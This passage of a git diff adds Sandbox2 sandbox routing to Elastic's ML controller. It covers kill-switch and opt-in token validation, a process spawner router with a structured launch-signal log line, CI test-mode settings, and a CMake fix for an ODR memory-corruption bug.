diff --git a/.buildkite/scripts/steps/run_tests.sh b/.buildkite/scripts/steps/run_tests.sh index 5c86108f47..a518bd96d5 100755 --- a/.buildkite/scripts/steps/run_tests.sh +++ b/.buildkite/scripts/steps/run_tests.sh @@ -49,12 +49,21 @@ TEST_OUTCOME=0 if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = Linux ]]; then # --- Linux aarch64: run tests inside Docker container from base image --- + # aarch64 Buildkite k8s pods are the only runners here with userns + # capability (mount("proc", ...) succeeds), so this is the only branch + # that can exercise ML_SANDBOX2_REQUIRE=enforced - and it runs only that + # mode: aarch64 is pinned to enforced, x86_64 stays fail-closed. A + # second fail_closed pass on this same host/kernel would assert the + # absence of the very userns capability the enforced pass just proved + # present, so exactly one of the two could ever pass. + export ML_SANDBOX2_REQUIRE=enforced + BASE_IMAGE="docker.elastic.co/ml-dev/ml-linux-aarch64-native-build:17" . ./dev-tools/docker/prefetch_docker_image.sh prefetch_docker_image "$BASE_IMAGE" - echo "--- Running tests (Docker)" + echo "--- Running tests (Docker, ML_SANDBOX2_REQUIRE=${ML_SANDBOX2_REQUIRE})" docker run --rm \ -v "$(pwd)/${BUILD_DIR}:/ml-cpp/${BUILD_DIR}" \ -v "$(pwd)/build:/ml-cpp/build" \ @@ -64,6 +73,7 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = -v "$(pwd)/set_env.sh:/ml-cpp/set_env.sh:ro" \ -v "$(pwd)/gradle.properties:/ml-cpp/gradle.properties:ro" \ -e BOOST_TEST_OUTPUT_FORMAT_FLAGS="${BOOST_TEST_OUTPUT_FORMAT_FLAGS:-}" \ + -e ML_SANDBOX2_REQUIRE="${ML_SANDBOX2_REQUIRE}" \ ${TEST_TIMEOUT:+-e TEST_TIMEOUT="${TEST_TIMEOUT}"} \ -w /ml-cpp \ $BASE_IMAGE bash -c ' @@ -87,6 +97,15 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = else # --- Linux x86_64 / macOS: run tests directly --- + # x86_64 Buildkite k8s pods get EPERM on mount("proc", ...) - there is no + # userns-capable x86_64 CI runner today, so this is an accepted gap in + # enforced-mode coverage on that architecture. Only fail_closed runs + # here; do not add an enforced pass to this branch. This + # also covers aarch64 cross-compile builds, which fall through to this + # same branch via the "-z ${CPP_CROSS_COMPILE:-}" condition above, so + # they get fail_closed coverage too rather than being skipped entirely. + export ML_SANDBOX2_REQUIRE=fail_closed + . ./set_env.sh find ${BUILD_DIR}/test -name "ml_test_*" -type f -exec chmod +x {} \; @@ -101,7 +120,7 @@ else export DYLD_LIBRARY_PATH="${LIB_DIRS}${DYLD_LIBRARY_PATH:+:$DYLD_LIBRARY_PATH}" fi - echo "--- Running tests" + echo "--- Running tests (ML_SANDBOX2_REQUIRE=${ML_SANDBOX2_REQUIRE})" cmake \ -DSOURCE_DIR="$(pwd)" \ -DBUILD_DIR="$(pwd)/${BUILD_DIR}" \ diff --git a/3rd_party/controller-protocol.version b/3rd_party/controller-protocol.version new file mode 100644 index 0000000000..643c8b5ed0 --- /dev/null +++ b/3rd_party/controller-protocol.version @@ -0,0 +1 @@ +controller-protocol-version=2 diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index c74f2bd6e6..ebe1a0d837 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -15,11 +15,26 @@ #include #include +#include #include +#include namespace { const std::string TAB(1, '\t'); const std::string EMPTY_STRING; +//! Operator kill-switch: forces the legacy route for the configured +//! sandboxed process path. Mutually exclusive with REQUIRE_SANDBOX_TOKEN - +//! a start command naming both is ambiguous about its own route and is +//! rejected outright, never resolved by precedence. +const std::string DISABLE_SANDBOX_TOKEN{"--disableSandbox"}; + +//! Operator opt-in: forces the Sandbox2 route (E_Sandbox2, no automatic +//! legacy fallback) for the configured sandboxed process path. Symmetric +//! counterpart to DISABLE_SANDBOX_TOKEN - together these are the only two +//! controller-control tokens the command wire format defines; any other +//! unrecognised "--" prefixed token is passed through to the spawned +//! process unchanged. +const std::string REQUIRE_SANDBOX_TOKEN{"--requireSandbox"}; } namespace ml { @@ -30,8 +45,9 @@ const std::string CCommandProcessor::START{"start"}; const std::string CCommandProcessor::KILL{"kill"}; CCommandProcessor::CCommandProcessor(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths, std::ostream& responseStream) - : m_Spawner{permittedProcessPaths}, m_ResponseWriter{responseStream} { + : m_Spawner{permittedProcessPaths, sandboxedProcessPaths}, m_ResponseWriter{responseStream} { } void CCommandProcessor::processCommands(std::istream& commandStream) { @@ -92,7 +108,131 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { std::string processPath{std::move(tokens[0])}; tokens.erase(tokens.begin()); - if (m_Spawner.spawn(processPath, tokens) == false) { + // Scan for both routing tokens before any spawn decision is made. + // Never "last one wins"/"first one wins" on duplicates of either token - + // count them all and reject outright if either appears more than once. + std::size_t disableSandboxCount{0}; + TStrVec::iterator firstDisableSandbox{tokens.end()}; + std::size_t requireSandboxCount{0}; + TStrVec::iterator firstRequireSandbox{tokens.end()}; + for (auto iter = tokens.begin(); iter != tokens.end(); ++iter) { + if (*iter == DISABLE_SANDBOX_TOKEN) { + if (disableSandboxCount == 0) { + firstDisableSandbox = iter; + } + ++disableSandboxCount; + } else if (*iter == REQUIRE_SANDBOX_TOKEN) { + if (requireSandboxCount == 0) { + firstRequireSandbox = iter; + } + ++requireSandboxCount; + } + } + + if (disableSandboxCount >= 2) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + "' specified " + + core::CStringUtils::typeToString(disableSandboxCount) + + " times for process '" + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + if (requireSandboxCount >= 2) { + std::string error{"Rejecting command: '" + REQUIRE_SANDBOX_TOKEN + "' specified " + + core::CStringUtils::typeToString(requireSandboxCount) + + " times for process '" + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + if (disableSandboxCount == 1 && requireSandboxCount == 1) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + + "' and '" + REQUIRE_SANDBOX_TOKEN + + "' are mutually exclusive, both specified for process '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + // One shared predicate with the router (which uses the same call to gate + // dispatch and sandbox2_launch-signal emission), never a second std::find over a + // second copy of the list. + const bool isConfiguredSandboxedPath{m_Spawner.isSandboxedProcessPath(processPath)}; + + CProcessSpawnerRouter::ERoute route{CProcessSpawnerRouter::ERoute::E_Sandbox2}; + // Provenance of a legacy route, recorded at the one place it is known so + // the router's sandbox2_launch signal can report it as "legacy_reason". Stays + // E_NotLegacy for every E_Sandbox2 route, where the field is omitted. + CProcessSpawnerRouter::ELegacyReason legacyReason{ + CProcessSpawnerRouter::ELegacyReason::E_NotLegacy}; + if (requireSandboxCount == 1) { + if (isConfiguredSandboxedPath == false) { + std::string error{"Rejecting command: '" + REQUIRE_SANDBOX_TOKEN + + "' is only valid for the configured sandboxed process, " + "not '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + // Operator opt-in validated against this exact processPath: strip + // it before it reaches the spawner. Route is already E_Sandbox2 + // (the default above), so nothing else changes here beyond + // stripping and logging the decision at the one place its + // provenance is known. + LOG_INFO(<< "Routing '" << processPath << "' to Sandbox2: operator opt-in " + << REQUIRE_SANDBOX_TOKEN << " in command with ID " << id); + tokens.erase(firstRequireSandbox); + } else if (disableSandboxCount == 1) { + if (isConfiguredSandboxedPath == false) { + std::string error{"Rejecting command: '" + DISABLE_SANDBOX_TOKEN + + "' is only valid for the configured sandboxed process, " + "not '" + + processPath + '\''}; + LOG_ERROR(<< error << " in command with ID " << id); + m_ResponseWriter.writeResponse(id, false, error); + return false; + } + + // Operator kill-switch validated against this exact processPath: + // strip it before it reaches the spawner and route to legacy. This + // is the one place the route's operator provenance is known, so it + // is logged here rather than in the router, which only ever sees an + // already-decided route. + LOG_INFO(<< "Routing '" << processPath << "' to the legacy path: operator kill switch " + << DISABLE_SANDBOX_TOKEN << " in command with ID " << id); + route = CProcessSpawnerRouter::ERoute::E_Legacy; + legacyReason = CProcessSpawnerRouter::ELegacyReason::E_KillSwitch; + tokens.erase(firstDisableSandbox); + } else { + // No token at all: the route is only a decision at all for a + // configured sandboxed process path (every other permitted process + // dispatches to the legacy spawner either way, and must not be + // described as an explicitly-selected legacy route in the log). + // + // Permanent behaviour, not a rollout seam: a caller that sends + // neither token always takes the legacy route - byte-for-byte the + // pre-typed-routing behaviour on every platform, including builds + // with no Sandbox2 support at all. Elasticsearch is expected to + // always send exactly one of the two tokens on every start command + // for a sandboxed-eligible process, so this branch exists for + // non-ES callers (support/debug scripts, direct controller + // invocation) and the test harness. + if (isConfiguredSandboxedPath) { + route = CProcessSpawnerRouter::ERoute::E_Legacy; + legacyReason = CProcessSpawnerRouter::ELegacyReason::E_NoTokenDefault; + LOG_DEBUG(<< "Routing '" << processPath << "' to the legacy path: neither " + << DISABLE_SANDBOX_TOKEN << " nor " + << REQUIRE_SANDBOX_TOKEN << " token was present"); + } + } + + core::CProcess::TPid childPid{0}; + if (m_Spawner.spawn(route, processPath, tokens, childPid, legacyReason) == false) { std::string error{"Failed to start process '" + processPath + '\''}; LOG_ERROR(<< error << " in command with ID " << id); m_ResponseWriter.writeResponse(id, false, error); diff --git a/bin/controller/CCommandProcessor.h b/bin/controller/CCommandProcessor.h index 342ee27397..9acc1387b5 100644 --- a/bin/controller/CCommandProcessor.h +++ b/bin/controller/CCommandProcessor.h @@ -11,8 +11,7 @@ #ifndef INCLUDED_ml_controller_CCommandProcessor_h #define INCLUDED_ml_controller_CCommandProcessor_h -#include - +#include "CProcessSpawnerRouter.h" #include "CResponseJsonWriter.h" #include @@ -63,7 +62,16 @@ class CCommandProcessor { static const std::string KILL; public: - CCommandProcessor(const TStrVec& permittedProcessPaths, std::ostream& responseStream); + //! \param permittedProcessPaths Processes that may be started/killed. + //! \param sandboxedProcessPaths Subset of \p permittedProcessPaths for + //! which the operator kill-switch token (\c --disableSandbox) is + //! meaningful. Pass an explicit (possibly empty) list - there is + //! no default that reuses \p permittedProcessPaths, because doing + //! so would silently make every permitted process + //! sandboxed-eligible. + CCommandProcessor(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths, + std::ostream& responseStream); //! Action commands read from the supplied \p commandStream until //! end-of-file is reached. @@ -85,8 +93,12 @@ class CCommandProcessor { bool handleKill(std::uint32_t id, TStrVec tokens); private: - //! Used to spawn/kill the requested processes. - core::CDetachedProcessSpawner m_Spawner; + //! Used to spawn/kill the requested processes, and the single owner of + //! the "is this a configured sandboxed process path" predicate this + //! class queries via CProcessSpawnerRouter::isSandboxedProcessPath() + //! rather than keeping its own second copy of the list and the + //! std::find over it. + CProcessSpawnerRouter m_Spawner; //! Used to write responses in JSON format to the response stream. CResponseJsonWriter m_ResponseWriter; diff --git a/bin/controller/CMakeLists.txt b/bin/controller/CMakeLists.txt index 661b9355a5..534f107f2b 100644 --- a/bin/controller/CMakeLists.txt +++ b/bin/controller/CMakeLists.txt @@ -11,9 +11,10 @@ project("ML Controller") -set(ML_LINK_LIBRARIES +set(ML_LINK_LIBRARIES ${Boost_LIBRARIES} MlCore + MlSandbox MlSeccomp MlVer ) @@ -22,5 +23,27 @@ ml_add_executable(controller CBlockingCallCancellingStreamMonitor.cc CCmdLineParser.cc CCommandProcessor.cc + CProcessSpawnerRouter.cc CResponseJsonWriter.cc ) + +# ml_add_executable() also creates an OBJECT library (Mlcontroller) holding +# the sources above, purely so bin/controller/unittest can link the same +# object files as the executable. That OBJECT library has no link libraries +# of its own, so - unlike the `controller` executable target - it does not +# inherit MlSandbox's usage requirements, and in particular does not see +# MlSandbox's PUBLIC SANDBOX2_AVAILABLE compile definition. The unit test +# executable *does* link MlSandbox and therefore does see it, so without +# this line ml_test_controller mixes two different views of +# include/sandbox/CSandboxedProcessSpawner.h in one binary: that header +# declares one extra member (the m_AwaitResultFn seam) under +# SANDBOX2_AVAILABLE, so sizeof(CSandboxedProcessSpawner) - and hence +# sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor) - differ +# between the object files and the test translation units. That is an ODR +# violation, and it corrupted memory during test teardown on Linux. +# Link the OBJECT library against MlSandbox so its sources are compiled +# with exactly the same Sandbox2 configuration as both the production +# executable and the unit tests. +if(TARGET Mlcontroller) + target_link_libraries(Mlcontroller PRIVATE MlSandbox) +endif() diff --git a/bin/controller/CProcessSpawnerRouter.cc b/bin/controller/CProcessSpawnerRouter.cc new file mode 100644 index 0000000000..c37ce7e009 --- /dev/null +++ b/bin/controller/CProcessSpawnerRouter.cc @@ -0,0 +1,313 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ +#include "CProcessSpawnerRouter.h" + +#include + +#include +#include + +#include +#include +#include +#include + +namespace { + +//! Scan \p args for a "--modelid=" token, using the same linear +//! string-prefix scan style CCommandProcessor uses for --disableSandbox +//! (bin/controller/CCommandProcessor.cc), rather than pulling in +//! boost::program_options for a single optional field. Returns "" if +//! absent. Independent of any --disableSandbox scan - this never mutates +//! or consumes \p args. +//! +//! Only matches the "=" form ("--modelid="), not the space-separated +//! "--modelid " form boost::program_options also accepts elsewhere +//! in this codebase: the "=" form is the wire contract a future change's +//! ES-side observability code relies on for model_id in the sandbox2_launch +//! signal (docs/sandbox2_production_failure_modes.md). +std::string scanModelId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { + const std::string prefix{"--modelid="}; + for (const auto& arg : args) { + if (arg.compare(0, prefix.size(), prefix) == 0) { + return arg.substr(prefix.size()); + } + } + return std::string(); +} + +//! Minimal JSON string escaping for the two string fields +//! (deployment_id/model_id) that are derived from operator/caller-supplied +//! input (a launch argument and a validated path component) rather than +//! from a fixed internal vocabulary - a future change's ES-side +//! observability code parses this line by name and type, so it must stay +//! valid JSON even if +//! either value contains a quote, a backslash, or a control character. +//! deployment_id is a filesystem path component and model_id comes straight +//! off the command line, so a raw newline/tab/NUL in either would otherwise +//! split or corrupt what must stay a single-line JSON object. +std::string jsonEscape(const std::string& s) { + static const char* const HEX_DIGITS{"0123456789abcdef"}; + std::string out; + out.reserve(s.size()); + for (char c : s) { + const auto byte = static_cast(c); + switch (c) { + case '"': + out += "\\\""; + break; + case '\\': + out += "\\\\"; + break; + case '\n': + out += "\\n"; + break; + case '\r': + out += "\\r"; + break; + case '\t': + out += "\\t"; + break; + default: + if (byte < 0x20) { + // Every remaining C0 control character, as the \u00XX escape + // JSON requires (RFC 8259 section 7). + out += "\\u00"; + out += HEX_DIGITS[(byte >> 4) & 0xF]; + out += HEX_DIGITS[byte & 0xF]; + } else { + out += c; + } + } + } + return out; +} + +//! Derive the per-launch deployment_id (SChildIpcLaunchSpec::s_ChildId) from +//! the path-bearing launch options in \p args, exactly as +//! CSandboxedProcessSpawner_Linux.cc does before constructing a Sandbox2 +//! policy (same trustedTmpDir derivation - getenv("TMPDIR"), defaulting to +//! "/tmp"). Called once per spawn(), *before* either backend runs, so the +//! sandbox2_launch signal and the dispatch decision see one and the same +//! filesystem +//! state: validateChildIpcLaunchSpec() does live ::realpath() calls, and a +//! post-spawn second call could observe a different (or, on the +//! legacy/degraded and failed-Sandbox2 paths, an absent) per-child IPC +//! directory and report an empty deployment_id on exactly the degraded and +//! fail_closed modes the signal exists to make debuggable. +//! Returns "" when no path-bearing option was present at all. +std::string deriveDeploymentId(const ml::controller::CProcessSpawnerRouter::TStrVec& args) { + const char* tmpDirEnv{::getenv("TMPDIR")}; + const std::string trustedTmpDir{tmpDirEnv != nullptr ? tmpDirEnv : "/tmp"}; + // validateChildIpcLaunchSpec() does live ::realpath() calls, which + // require $TMPDIR/ml-child-ipc/ to already exist. This is the + // *other* production call site that reaches that function (the one + // inside CSandboxedProcessSpawner_Linux.cc::spawn() is the other), and + // it runs strictly before spawn() dispatches to either backend - on the + // legacy route just as much as the Sandbox2 route, since the signal + // below always wants a real deployment_id. Ensure the directory exists + // here too, rather than relying on the Sandbox2 spawner (which may not + // even run on this route) to have already done it. A creation failure + // is not logged again here: an empty deployment_id in the signal is + // itself the observable symptom, and the Sandbox2 spawner (when that + // route is actually taken) logs the failure with detail. + ml::sandbox::ensureChildIpcDirectory(trustedTmpDir, args); + return ml::sandbox::validateChildIpcLaunchSpec(trustedTmpDir, args).s_Spec.s_ChildId; +} + +} // namespace + +namespace ml { +namespace controller { + +CProcessSpawnerRouter::CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths) + : m_LegacySpawner{permittedProcessPaths}, m_SandboxedProcessPaths{sandboxedProcessPaths} { +} + +bool CProcessSpawnerRouter::isSandboxedProcessPath(const std::string& processPath) const { + return std::find(m_SandboxedProcessPaths.begin(), m_SandboxedProcessPaths.end(), + processPath) != m_SandboxedProcessPaths.end(); +} + +void CProcessSpawnerRouter::emitLaunchSignal(ERoute route, + ELegacyReason legacyReason, + const std::string& deploymentId, + const TStrVec& args, + bool spawnSucceeded) const { + const bool isLegacyRoute{route == ERoute::E_Legacy}; + + // degraded is decided purely by route, regardless of the legacy + // spawn's own success/failure; + // enforced/fail_closed are only decided for the no-token Sandbox2 + // route, keyed off the spawn outcome itself. + std::string mode; + if (isLegacyRoute) { + mode = "degraded"; + } else { + mode = spawnSucceeded ? "enforced" : "fail_closed"; + } + const bool sandbox2Established{mode == "enforced"}; + + // Additive field, emitted *only* on the legacy route (route == + // "legacy", i.e. mode == "degraded"): mode alone conflates a deliberate + // operator kill switch with the permanent no-token default. Omitted + // entirely - never "" and never null - on route == "sandbox2", i.e. on + // both the "enforced" and "fail_closed" modes, since neither can have a + // legacy reason. + std::string legacyReasonField; + if (isLegacyRoute) { + const char* reason{legacyReason == ELegacyReason::E_KillSwitch ? "kill_switch" : "no_token_default"}; + if (legacyReason == ELegacyReason::E_NotLegacy) { + // A caller that routed to legacy without naming why: report the + // no-token default (the overwhelmingly common case for callers + // that never send either routing token) rather than falsely + // claiming an operator kill switch. + LOG_WARN(<< "Legacy route with no recorded provenance; reporting the " + "no-token default in the sandbox2_launch signal"); + } + legacyReasonField = std::string{",\"legacy_reason\":\""} + reason + "\""; + } + + // Additive field, emitted on *every* signal line regardless of route: + // a build-time-constant fact (backed by CMlSandboxAvailability, itself + // backed by the SANDBOX2_AVAILABLE compile definition), not per-launch + // state, so it is computed once here rather than threaded through as a + // parameter. Lets a consumer (e.g. a future ES-side rollout logic) + // distinguish a Linux build that has Sandbox2 support but a caller sent + // no routing token (route == "legacy", legacy_reason == + // "no_token_default", sandbox2_compiled_in == true) from a build with + // no Sandbox2 support at all (sandbox2_compiled_in == false) - the two + // are otherwise indistinguishable from the sandbox2_launch signal alone. + static const bool sandbox2CompiledIn{sandbox::CMlSandboxAvailability::isCompiledIn()}; + + std::ostringstream signal; + signal << "{\"event\":\"sandbox2_launch\"" + << ",\"deployment_id\":\"" << jsonEscape(deploymentId) << "\"" + << ",\"model_id\":\"" << jsonEscape(scanModelId(args)) << "\"" + << ",\"route\":\"" << (isLegacyRoute ? "legacy" : "sandbox2") << "\"" + << legacyReasonField + << ",\"sandbox2_established\":" << (sandbox2Established ? "true" : "false") + << ",\"mode\":\"" << mode << "\"" + << ",\"sandbox2_compiled_in\":" << (sandbox2CompiledIn ? "true" : "false") + << "}"; + LOG_INFO(<< signal.str()); +} + +bool CProcessSpawnerRouter::spawn(ERoute route, + const std::string& processPath, + const TStrVec& args, + core::CProcess::TPid& childPid, + ELegacyReason legacyReason) { + // The sandbox2_launch signal fires only for processes actually + // eligible for sandboxing - never for + // unrelated permitted processes like autodetect - and exactly once per + // spawn() call, on every outcome, computed once up front so neither + // dispatch branch below can accidentally skip or duplicate it. + const bool sandboxEligible{this->isSandboxedProcessPath(processPath)}; + + // Derived exactly once per spawn() call, before either backend runs, so + // the sandbox2_launch signal below reports the same childId the + // dispatch decision was taken against - see deriveDeploymentId()'s comment for why a + // post-spawn second derivation is not equivalent. Skipped entirely for + // processes that can never emit the signal, so unrelated permitted + // processes (autodetect etc.) pay no ::realpath() cost. + const std::string deploymentId{sandboxEligible ? deriveDeploymentId(args) + : std::string()}; + + bool spawned{false}; + if (route == ERoute::E_Legacy) { + // Legacy route decided upstream: either the operator kill-switch + // token (validated against this exact processPath and stripped from + // args by CCommandProcessor) or the permanent no-token default. This + // router never re-parses args to decide anything (unlike the frozen + // prior art's spawn(), which re-derived disableSandbox from args + // itself), so it cannot - and must not - derive which of the two it + // was; CCommandProcessor logs that provenance at the point it is + // actually known, and passes it in as legacyReason purely so the + // sandbox2_launch signal below can report it. + LOG_INFO(<< "Launching '" << processPath << "' without Sandbox2 (legacy route selected by the controller); " + << "the in-process seccomp filter applies"); + spawned = m_LegacySpawner.spawn(processPath, args, childPid); + } else if (sandboxEligible) { + // route == ERoute::E_Sandbox2, and processPath is configured as + // sandboxed. +#ifdef SANDBOX2_AVAILABLE + // First - and only - point at which any Sandbox2 machinery is + // constructed. A router that never reaches this branch (every + // router that never dispatches a validated --requireSandbox token, + // and every router in a build without Sandbox2 support) never creates a + // CSandboxedProcessSpawner at all, so no Sandbox2 state enters its + // construction or teardown path. Single-threaded by the same + // contract as the legacy spawner - see the member's declaration. + if (m_SandboxSpawner == nullptr) { + m_SandboxSpawner = std::make_unique(); + } + + // No automatic fallback to the legacy spawner on a Sandbox2 + // failure: a process that must be sandboxed either + // launches inside Sandbox2 or does not launch at all. + spawned = m_SandboxSpawner->spawn(processPath, args, childPid); +#else + // Build/deployment contradiction: processPath is configured as + // sandboxed, but this build has no Sandbox2 support (non-Linux). + // pytorch_inference should never be listed as sandboxed on such a + // platform - fail closed and say why, rather than silently falling + // through to the legacy spawner as the frozen router's #ifdef + // Linux masked this exact case by doing. + LOG_ERROR(<< "Refusing to launch '" << processPath << "': configured as a sandboxed process path, but this " + << "build was not compiled with Sandbox2 support"); + spawned = false; +#endif + } else { + // Not a sandboxed process path: unrelated processes always go via + // the legacy spawner, unchanged from today's behaviour. + spawned = m_LegacySpawner.spawn(processPath, args, childPid); + } + + if (sandboxEligible) { + this->emitLaunchSignal(route, legacyReason, deploymentId, args, spawned); + } + + return spawned; +} + +bool CProcessSpawnerRouter::terminateChild(core::CProcess::TPid pid) { + if (m_LegacySpawner.terminateChild(pid)) { + return true; + } +#ifdef SANDBOX2_AVAILABLE + // A null m_SandboxSpawner means no spawn() call ever dispatched to the + // Sandbox2 route, so there can be no sandboxed child to terminate. Ask + // rather than construct: creating the spawner here would defeat the + // lazy lifecycle and could only ever return false anyway. + if (m_SandboxSpawner != nullptr && m_SandboxSpawner->terminateChild(pid)) { + return true; + } +#endif + return false; +} + +bool CProcessSpawnerRouter::hasChild(core::CProcess::TPid pid) const { + if (m_LegacySpawner.hasChild(pid)) { + return true; + } +#ifdef SANDBOX2_AVAILABLE + // Null means no sandboxed child was ever spawned - see terminateChild(). + if (m_SandboxSpawner != nullptr && m_SandboxSpawner->hasChild(pid)) { + return true; + } +#endif + return false; +} + +} // namespace controller +} // namespace ml diff --git a/bin/controller/CProcessSpawnerRouter.h b/bin/controller/CProcessSpawnerRouter.h new file mode 100644 index 0000000000..ba2ab5862d --- /dev/null +++ b/bin/controller/CProcessSpawnerRouter.h @@ -0,0 +1,179 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ +#ifndef INCLUDED_ml_controller_CProcessSpawnerRouter_h +#define INCLUDED_ml_controller_CProcessSpawnerRouter_h + +#include +#include + +#include + +#include +#include +#include + +namespace ml { +namespace controller { + +//! \brief +//! Routes an already-decided process spawn request to the Sandbox2 or +//! legacy spawner. +//! +//! DESCRIPTION:\n +//! Unlike the frozen prior-art router this design supersedes, this class +//! never inspects \p args to decide how to route a spawn: the caller (the +//! CCommandProcessor built in a companion task) has already validated any +//! operator kill-switch token and decided the route before calling spawn(). +//! This router's only job is to dispatch that already-decided route to the +//! right backend and enforce the fail-closed rules around Sandbox2 +//! availability - it must never re-derive the route or retry a failed +//! Sandbox2 launch through the legacy spawner. +//! +//! Processes listed in sandboxedProcessPaths are routed to Sandbox2 when +//! the route is E_Sandbox2 and this build has Sandbox2 support; all other +//! permitted processes - and any explicit E_Legacy route - use the legacy +//! (posix_spawn-based) spawner. +//! +class CProcessSpawnerRouter { +public: + using TStrVec = std::vector; + + //! The route a spawn() call has already been assigned, decided upstream + //! of this class (by CCommandProcessor). This router never derives a + //! route itself from \p args or from \p processPath alone. + enum class ERoute { + //! Use Sandbox2 for processes listed in sandboxedProcessPaths (when + //! this build has Sandbox2 support); every other permitted process + //! is unaffected and always goes via the legacy spawner, exactly + //! like today's CDetachedProcessSpawner-only paths. + E_Sandbox2, + //! Operator kill-switch route: the caller has already validated the + //! disableSandbox token against this exact processPath and stripped + //! it from args. Always dispatches to the legacy spawner. + E_Legacy + }; + + //! Why the caller chose ERoute::E_Legacy. The router never derives this + //! (it never re-parses args): CCommandProcessor passes the provenance it + //! already knows from making the decision, purely so the + //! `sandbox2_launch` signal's additive "legacy_reason" field can + //! distinguish a deliberate operator + //! kill switch from the permanent no-token default - mode == "degraded" + //! alone cannot. + enum class ELegacyReason { + //! The route is E_Sandbox2; no legacy_reason is emitted at all. + E_NotLegacy, + //! A validated --disableSandbox token was present. + E_KillSwitch, + //! Neither --disableSandbox nor --requireSandbox was present. The + //! permanent behaviour for any caller that sends no routing token, + //! not a temporary rollout state. + E_NoTokenDefault + }; + +public: + CProcessSpawnerRouter(const TStrVec& permittedProcessPaths, + const TStrVec& sandboxedProcessPaths); + + //! Dispatch a spawn request per the already-decided \p route. Returns + //! false immediately on a Sandbox2 failure - never retries via the + //! legacy spawner ("no automatic fallback"). + //! \param legacyReason provenance of an E_Legacy \p route, for the + //! `sandbox2_launch` signal only - never used to dispatch. Must be E_NotLegacy + //! (the default) when \p route is E_Sandbox2. + bool spawn(ERoute route, + const std::string& processPath, + const TStrVec& args, + core::CProcess::TPid& childPid, + ELegacyReason legacyReason = ELegacyReason::E_NotLegacy); + + //! Terminate a child previously spawned by either backend. + bool terminateChild(core::CProcess::TPid pid); + + //! \return true if either backend owns a still-live child with this PID. + bool hasChild(core::CProcess::TPid pid) const; + + //! \return true if \p processPath is configured as a sandboxed process + //! path. This is the single implementation of that predicate: the router + //! uses it for dispatch and `sandbox2_launch`-signal gating, and CCommandProcessor + //! calls it (through its own router member) to decide whether the + //! operator kill-switch token is meaningful for a process path and + //! whether the --requireSandbox opt-in token applies. Keeping two + //! independent std::find copies would let a future change to one (e.g. + //! path normalisation) silently desync token validation from signal + //! emission. + bool isSandboxedProcessPath(const std::string& processPath) const; + +private: + //! Emit the `sandbox2_launch` structured once-per-launch signal for a + //! Sandbox2-eligible spawn() call, + //! after the dispatch outcome is known. Fires on every outcome, + //! including \p spawnSucceeded == false (the fail_closed case) - never + //! gated behind the caller's own success handling. Must only be called + //! when the process path is a configured sandboxed process path; never + //! for unrelated processes (e.g. autodetect). + //! \param deploymentId SChildIpcLaunchSpec::s_ChildId, already derived + //! once by spawn() *before* dispatch - never re-derived here, so + //! the value in this signal cannot disagree with the value the + //! dispatch decision was made against. + void emitLaunchSignal(ERoute route, + ELegacyReason legacyReason, + const std::string& deploymentId, + const TStrVec& args, + bool spawnSucceeded) const; + +private: + core::CDetachedProcessSpawner m_LegacySpawner; + + //! Null until - and unless - a spawn() call actually dispatches to the + //! Sandbox2 route, at which point spawn() creates it in place (see the + //! .cc's SANDBOX2_AVAILABLE branch). A router that only ever takes the + //! legacy route - every router whose caller never sends a validated + //! --requireSandbox token, and every router in a non-Sandbox2 + //! build - therefore never constructs *or* destructs any Sandbox2 + //! machinery. + //! + //! Held behind a pointer rather than by value for two reasons: + //! + //! 1. Lifecycle: constructing Sandbox2 state (a PID registry with its + //! own mutex, and, in future tasks, forkserver/monitor resources) for + //! a router that will never launch a sandboxed process is pure + //! liability - it puts Sandbox2 objects into the construction and + //! teardown path of every controller and of every controller unit + //! test, including the ones that predate Sandbox2 entirely. + //! 2. ODR safety: sizeof(sandbox::CSandboxedProcessSpawner) *differs* + //! between translation units compiled with and without + //! SANDBOX2_AVAILABLE, because its m_AwaitResultFn seam only exists + //! under that macro (include/sandbox/CSandboxedProcessSpawner.h). A + //! by-value member propagated that difference into + //! sizeof(CProcessSpawnerRouter) and sizeof(CCommandProcessor), so + //! any binary that mixed the two views of this header - as + //! ml_test_controller did on Linux - had inline constructors and + //! destructors disagreeing about member offsets and corrupted memory + //! at teardown. std::unique_ptr is the same size either way, so this + //! class's layout no longer depends on the macro at all. (The + //! underlying macro mismatch is fixed in bin/controller/CMakeLists.txt + //! as well; this member simply stops the layout being sensitive to + //! it.) + //! + //! Not 